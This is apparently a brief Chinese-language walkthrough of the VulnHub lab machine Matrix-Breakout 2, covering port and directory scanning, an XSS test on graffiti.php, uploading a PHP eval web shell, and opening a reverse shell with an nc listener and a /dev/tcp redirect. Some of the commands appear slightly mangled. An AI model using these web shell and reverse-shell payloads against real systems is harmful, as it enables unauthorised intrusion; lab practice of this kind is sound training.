vulnhub系列靶机-Matrix-Breakout2

下载地址：https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

基础信息收集

nmap 192.168.113.143

dirsearch -u '192.168.113.143' -i 200

只扫到一个这个

去看看：

192.168.113.143

192.168.113.143:81

现在还不知道账号密码

192.168.113.143/robots.txt

坐到这里我就卡住了，不知道怎么继续了，查了攻略才知道，是字典不够，看人家的：

gobuster dir -u http://192.168.113.143 -x php,txt,jsp,asp -w /usr/share/wordlists/dirb/common.txt

还有这个http://192.168.113.143/graffiti.php

主攻graffiti.php

http://192.168.113.143/graffiti.php

可以从多方面入手

xss

<script>alert(1)</script>

成功

那可以直接传一句话木马

<?php phpinfo();@eval($_POSTcmd);?>

为什么还是弹窗

下载看看后面的graffiti.txt

原来是没有被解析

抓包看看

直接就成功了

上蚁剑

反弹shell上线kali

nc -lvvp 8888

echo >& /dev/tcp/192.168.113.138/8888 0>&1

结束